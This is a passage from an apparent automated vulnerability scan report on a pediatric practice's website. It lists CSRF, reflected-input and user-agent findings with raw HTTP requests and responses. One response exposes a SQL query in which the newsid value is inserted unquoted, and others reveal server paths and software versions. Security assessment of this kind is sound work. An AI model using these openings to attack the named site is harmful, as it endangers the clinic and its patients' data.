 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /wic-medicaid.php/am7lq3/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=dmif7qd6f19lk4403efdkiimf6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:22:30 GMT
 Connection: close

 Content-Length: 14227
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

9. Cross-site request forgery

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Tentative

Host:  http://www.yourwebsite.com

Path:  /send-contact-us-email.php

Issue detail
The request appears to be vulnerable to cross-site request forgery (CSRF) attacks against unauthenticated functionality. This is unlikely to constitute a security
vulnerability in its own right, however it may facilitate exploitation of other vulnerabilities affecting application users.

 
The original request contains parameters that look like they may be anti-CSRF tokens. However the request is successful if these parameters are removed.

 
The original request contains parameters that look like they may be anti-CSRF tokens. However, the values of these parameters do not change if the submitting
form is reloaded without supplying any cookies. Hence, the parameters are probably not being used as anti-CSRF tokens.

Issue background
Cross-site request forgery (CSRF) vulnerabilities may arise when applications rely solely on HTTP cookies to identify the user that has issued a particular request.
Because browsers automatically add cookies to requests regardless of their origin, it may be possible for an attacker to create a malicious web site that forges a
cross-domain request to the vulnerable application. For a request to be vulnerable to CSRF, the following conditions must hold:

The request can be issued cross-domain, for example using an HTML form. If the request contains non-standard headers or body content, then it may only
be issuable from a page that originated on the same domain.
The application relies solely on HTTP cookies or Basic Authentication to identify the user that issued the request. If the application places session-related
tokens elsewhere within the request, then it may not be vulnerable.
The request performs some privileged action within the application, which modifies the application's state based on the identity of the issuing user.
The attacker can determine all the parameters required to construct a request that performs the action. If the request contains any values that the attacker
cannot determine or predict, then it is not vulnerable.

Issue remediation
The most effective way to protect against CSRF vulnerabilities is to include within relevant requests an additional token that is not transmitted in a cookie: for
example, a parameter in a hidden form field. This additional token should contain sufficient entropy, and be generated using a cryptographic random number
generator, such that it is not feasible for an attacker to determine or predict the value of any token that was issued to another user. The token should be associated
with the user's session, and the application should validate that the correct token is received before performing any action resulting from the request.

An alternative approach, which may be easier to implement, is to validate that Host and Referer headers in relevant requests are both present and contain the same
domain name. However, this approach is somewhat less robust: historically, quirks in browsers and plugins have often enabled attackers to forge cross-domain
requests that manipulate these headers to bypass such defenses.

References
Web Security Academy: Cross-site request forgery
Using Burp to Test for Cross-Site Request Forgery
The Deputies Are Still Confused

Vulnerability classifications
CWE-352: Cross-Site Request Forgery (CSRF)
CAPEC-62: Cross Site Request Forgery

Request 1

POST /send-contact-us-email.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Origin: http://www.yourwebsite.com
 Cookie: PHPSESSID=jjgacriv67mbrppnm1ccvd56g1

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.cumberlandpediatrics.com/contact-us.php
 Content-Type: application/x-www-form-urlencoded

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 222

 
CF_NAME_FIRST=&CF_NAME_LAST=&CF_EMAIL=&CF_PHONE=&CF_ALTERNATE_PHONE=&CF_CONTACT_METHOD=not-
selected&CF_CONTACT_METHOD=Phone&CF_CONTACT_DEPARTMENT=Practice+Manager&CF_DESCRIBE=869740&CF_LASTFIELD=&Submit+Registrati
on=Submit

Response 1

HTTP/1.1 302 Moved Temporarily
 Content-Type: text/html; charset=UTF-8

 Location: http://www.cumberlandpediatrics.us/thank-you.php
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:24:59 GMT
 Connection: close

 Content-Length: 171
 

<head><title>Document Moved</title></head>
 <body><h1>Object Moved</h1>This document may be found <a HREF="http://www.cumberlandpediatrics.us/thank-you.php">here</a></body>

Request 2

POST /send-contact-us-email.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Origin: http://www.yourwebsite.com
 Cookie: PHPSESSID=jjgacriv67mbrppnm1ccvd56g1

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://AsOSVGyMotzbCnrdFTYgjnSw.com/contact-us.php
 Content-Type: application/x-www-form-urlencoded

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 222

 
CF_NAME_FIRST=&CF_NAME_LAST=&CF_EMAIL=&CF_PHONE=&CF_ALTERNATE_PHONE=&CF_CONTACT_METHOD=not-
selected&CF_CONTACT_METHOD=Phone&CF_CONTACT_DEPARTMENT=Practice+Manager&CF_DESCRIBE=869740&CF_LASTFIELD=&Subm

 ...[SNIP]...

Response 2

HTTP/1.1 302 Moved Temporarily
 Content-Type: text/html; charset=UTF-8

 Location: http://www.cumberlandpediatrics.us/thank-you.php
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:55:11 GMT
 Connection: close

 Content-Length: 171
 

<head><title>Document Moved</title></head>
 <body><h1>Object Moved</h1>This document may be found <a HREF="http://www.cumberlandpediatrics.us/thank-you.php">here</a></body>

10. User agent-dependent response
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Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /

Issue description
Application responses may depend systematically on the value of the User-Agent header in requests. This behavior does not itself constitute a security vulnerability,
but may point towards additional attack surface within the application, which may contain vulnerabilities.

This behavior often arises because applications provide different user interfaces for desktop and mobile users. Mobile interfaces have often been less thoroughly
tested for vulnerabilities such as cross-site scripting, and often have simpler authentication and session handling mechanisms that may contain problems that are
not present in the full interface.

To review the interface provided by the alternate User-Agent header, you can configure a match/replace rule in Burp Proxy to modify the User-Agent header in all
requests, and then browse the application in the normal way using your normal browser.

Vulnerability classifications
CWE-16: Configuration

Request 1

GET / HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 Set-Cookie: PHPSESSID=0schvlguhf4a5c33692s0hnah2; path=/

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:21:54 GMT

 Connection: close
 Content-Length: 16203

 
<!DOCTYPE html>

 <html lang="en"><head>
 

<meta charset="utf-8">
    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->

    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <title>

[SNIP]

Request 2

GET / HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3
 Connection: close

 Cache-Control: max-age=0
 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 Set-Cookie: PHPSESSID=tc88go9019bjqetu9e27sucm15; path=/

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:22:22 GMT

 Connection: close
 Content-Length: 6715

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>

 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

            
 <title>

[SNIP]

11. Input returned in response (reflected)
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There are 13 instances of this issue:

/coronavirus-covid-19.php [URL path filename]
/dr-allison-ball.php [URL path filename]
/dr-karen-moore.php [URL path filename]
/insurance.php [URL path filename]
/js/jquery.cycle2.carousel.min.js [URL path filename]
/js/jquery.cycle2.js [URL path filename]
/js/jquery.cycle2.js [URL path folder 1]
/news-topic.php [URL path filename]
/news-topic.php [newsid parameter]
/news.php [URL path filename]
/robots.txt [URL path filename]
/send-contact-us-email.php [URL path filename]
/virtual-visits.php [URL path filename]

Issue background
Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-
site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier
to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for
example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing.

Vulnerability classifications
CWE-20: Improper Input Validation
CWE-116: Improper Encoding or Escaping of Output

11.1. http://www.yourwebsite.com/coronavirus-covid-19.php [URL path filename]
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Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /coronavirus-covid-19.php

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /coronavirus-covid-19.phpasmpnpstrc HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=8j4102s0v4dptlielpallvnvo3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:58:02 GMT

 Connection: close
 Content-Length: 4917

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/coronavirus-covid-19.phpasmpnpstrc</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\coronavirus-covid-19.phpasmpnpstrc</td>
 ...[SNIP]...

11.2. http://www.yourwebsite.com/dr-allison-ball.php [URL path filename]
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Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /dr-allison-ball.php

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /dr-allison-ball.php7brokwvum6 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=l3l55rh9k31mfrc84usuel6i61
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:53:03 GMT

 Connection: close
 Content-Length: 4907

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/dr-allison-ball.php7brokwvum6</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\dr-allison-ball.php7brokwvum6</td>
 ...[SNIP]...

11.3. http://www.yourwebsite.com/dr-karen-moore.php [URL path filename]
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Summary

Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /dr-karen-moore.php

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /dr-karen-moore.phpw8rhycrei2 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=878p05d6obko232opbmcco7pg4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:46:48 GMT

 Connection: close
 Content-Length: 4905

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/dr-karen-moore.phpw8rhycrei2</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\dr-karen-moore.phpw8rhycrei2</td>
 ...[SNIP]...

11.4. http://www.yourwebsite.com/insurance.php [URL path filename]
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Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /insurance.php

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /insurance.phpblzscxulk7 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=fl64mrrd00arhffrdbetb1chj0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:02:27 GMT

 Connection: close
 Content-Length: 4895

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/insurance.phpblzscxulk7</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\insurance.phpblzscxulk7</td>
 ...[SNIP]...

11.5. http://www.yourwebsite.com/js/jquery.cycle2.carousel.min.js [URL path filename]
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Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /js/jquery.cycle2.carousel.min.js

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /js/jquery.cycle2.carousel.min.jsnm959yteou HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=e91v2ah56o6stvccndbl11n8t4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 Content-Length: 0
 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 01:10:20 GMT

 Connection: close
 Content-Length: 4933

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/js/jquery.cycle2.carousel.min.jsnm959yteou</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\js\jquery.cycle2.carousel.min.jsnm959yteou</td>
 ...[SNIP]...

11.6. http://www.yourwebsite.com/js/jquery.cycle2.js [URL path filename]
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Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /js/jquery.cycle2.js

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /js/jquery.cycle2.jsvgtzvrz6hj HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=0nevh1rp0e5o2bmogcucf581v4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 Content-Length: 0
 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:46:55 GMT

 Connection: close
 Content-Length: 4907

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/js/jquery.cycle2.jsvgtzvrz6hj</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\js\jquery.cycle2.jsvgtzvrz6hj</td>
 ...[SNIP]...

11.7. http://www.yourwebsite.com/js/jquery.cycle2.js [URL path folder 1]
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Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /js/jquery.cycle2.js

Issue detail
The value of the URL path folder 1 is copied into the application's response.

Request 1

GET /jsbr0fo87cg3/jquery.cycle2.js HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=0nevh1rp0e5o2bmogcucf581v4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 Content-Length: 0
 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:46:16 GMT

 Connection: close
 Content-Length: 4907

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/jsbr0fo87cg3/jquery.cycle2.js</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\jsbr0fo87cg3\jquery.cycle2.js</td>
 ...[SNIP]...

11.8. http://www.yourwebsite.com/news-topic.php [URL path filename]
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Summary

Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /news-topic.php

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /news-topic.phpj0drn2le0i?newsid=44 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=g52mf4aiflkcp1b8abbgr2d4g1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:52:53 GMT

 Connection: close
 Content-Length: 4907

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/news-topic.phpj0drn2le0i?newsid=44</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\news-topic.phpj0drn2le0i</td>
 ...[SNIP]...

11.9. http://www.yourwebsite.com/news-topic.php [newsid parameter]
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Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /news-topic.php

Issue detail
The value of the newsid request parameter is copied into the application's response.

Request 1

GET /news-topic.php?newsid=48t200h5olnq HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=t4hugbr0h25jsp2iqf11krkfe6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:46:59 GMT
 Connection: close

 Content-Length: 205
 

Error occurred while selecting requested news topic from news database: <br><br>SELECT * from scrolling_news where PKID = 48t200h5olnq and
lower(DISPLAY_NEWS) = 'y' order by NEWS_DATE DESC, ATIMESTAMP DESC

11.10. http://www.yourwebsite.com/news.php [URL path filename]
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Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /news.php

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /news.php5w4ltsk4go?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=r45p7kmgob6ncg2gdnp029m8s4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/news.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 1

HTTP/1.1 404 Not Found
 Cache-Control: private

 Content-Type: text/html; charset=utf-8
 Server: Microsoft-IIS/8.5

 X-Powered-By: ASP.NET
 Date: Thu, 07 Apr 2022 00:55:46 GMT

 Connection: close
 Content-Length: 4901

 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 

 <html xmlns="http://www.w3.org/1999/xhtml"> 
 <head> 

 <title>IIS 8.5 Detailed Error - 404.
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;http://www.yourwebsite.com:80/news.php5w4ltsk4go?ismobile=mobile</td>
 ...[SNIP]...

 <td>&nbsp;&nbsp;&nbsp;D:\inetpub\cumberlandpediatrics\news.php5w4ltsk4go</td>
 ...[SNIP]...

11.11. http://www.yourwebsite.com/robots.txt [URL path filename]

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Certain

Host:  http://www.yourwebsite.com

Path:  /robots.txt

Issue detail
The value of the URL path filename is copied into the application's response.

Request 1

GET /robots.txtq6rvyrrdhq HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

